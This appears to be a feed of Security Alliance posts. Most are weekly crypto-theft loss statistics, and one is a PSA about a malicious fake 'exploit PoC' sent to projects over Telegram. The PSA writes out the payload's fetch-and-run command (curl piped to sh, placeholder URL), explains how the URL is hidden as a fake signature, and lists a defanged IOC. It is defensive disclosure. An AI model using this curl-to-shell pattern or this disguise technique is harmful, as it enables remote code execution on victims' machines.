Security Alliance

SEAL weekly stats, 4 - 11 Nov. 60 incident reports. Losses by category: 1) Protocol compromise: $3.87M 2) Social engineering: €3M 3) Infrastructure exploit: $914K 4) Phishing: $623K 5) Seed compromise: $169K 6) Malware: $108K 7) DPRK intrusion: $35K What we collected: 5,640 phishing domains 5,652 indicators published 105 wallets

SEAL weekly stats, 27 Oct - 3 Nov. 99 incident reports. Losses by category: 1) Protocol compromise: $57M + 2.4 BTC (excluding Binance, see next tweet) 2) Seed compromise: $3.62M + 0.91 BTC 3) DPRK intrusion: $3M 4) Infrastructure exploit: $2.19M 5) Fake support caller: $1.57M + 1.12 BTC 6) Malware: $630K 7) Pig butchering: $332K What we collected: · 5,137 phishing domains · 5,185 indicators published · 169 wallets Recovered and frozen this week: 0.1 BTC frozen, fake-caller theft 6,200 DAI frozen, seed compromise

🔥 This week's update is a doozy because of the record volume of incidents, losses, IOCs collected, and attack vectors. SEAL weekly stats, 20-27 Oct. 73 incidents. Losses by category: Phishing: $47.1M Protocol compromise: $9.46M DPRK intrusion: $3.22M Cause unknown: $3.12M Malware: $2.27M Pig butchering: $1M + €59.4K Seed compromise: $905k + 829.4 SOL Infrastructure exploit: $517K What we collected: 5,179 malicious domains 126 wallets

🚨 PSA: threat actors are approaching crypto projects on Telegram, posing as white-hat researchers, offering an “exploit PoC” for your own infra. The PoC contains malware. Our detailed write-up is linked below. It’s a complete, runnable Solana exploit kit (fork harness, fixtures, the real program binary) so it looks legit. But poc.mjs reads a byte array from a JSON field called UnifiedSignatureInfo, decodes it to a URL, and runs curl -fsSL -k "<url>" | sh. The decimal array is plain ASCII posing as a Solana signature. Following the README (npm install, start fork, node poc.mjs) is what detonates it. IOC: hxxps://162[.]35[.]174[.]231:5000/stage2. Treat any unsolicited PoC as hostile, review statically in an isolated VM, and never run the setup steps on a box you care about. Report any suspicious reachouts to SEAL. radar.securityalliance.org/a…

SEAL weekly stats, 13-20 Oct. 70 incidents. Losses by category: 1) CryptoBilis: $9.3M 2) Seed compromise: $3.86M + 64.5 ETH + 0.3 BTC 3) Protocol compromise: $2M + 37.44 ETH 4) Account takeover: $1.6M 5) Wrench attacks: $1.22M 6) Malware: $316K + 0.47 BTC 7) Phishing: $284K 8) DPRK intrusion: $260K

📣 A new patch of updates have landed across SEAL Frameworks! All of these are community contributions because that's what keeps the Frameworks current and worth using. Want to contribute? h/u @mattaereal frameworks.securityalliance.… Check out all the updates in the thread below.

SEAL weekly stats, 6-13 Oct. 81 incident reports. Losses by category: 1) CryptoBilis: $12.5M 2) Cause unknown: $4M 3) Protocol compromise: $1.2M 4) Fake support caller: $1.08M 5) Malware: $1M + 10 BTC 6) DPRK intrusion: $655K 7) Seed compromise: $498K + 2 BTC + 278 SOL

SEAL weekly stats, 29 Sep-6 Oct. We responded to 65 incidents over the past week. Losses by category: 1) Rug pull reported with $31M at risk 2) Seed compromise: $3.66M + 1.06 BTC + 0.7 ETH 3) Fake support caller: $1.01M 4) Protocol compromise: $875K 5) Social engineering: $175K 6) DPRK intrusion: $86.7K 7) Malware: $75K 8) Wallet compromise: $65K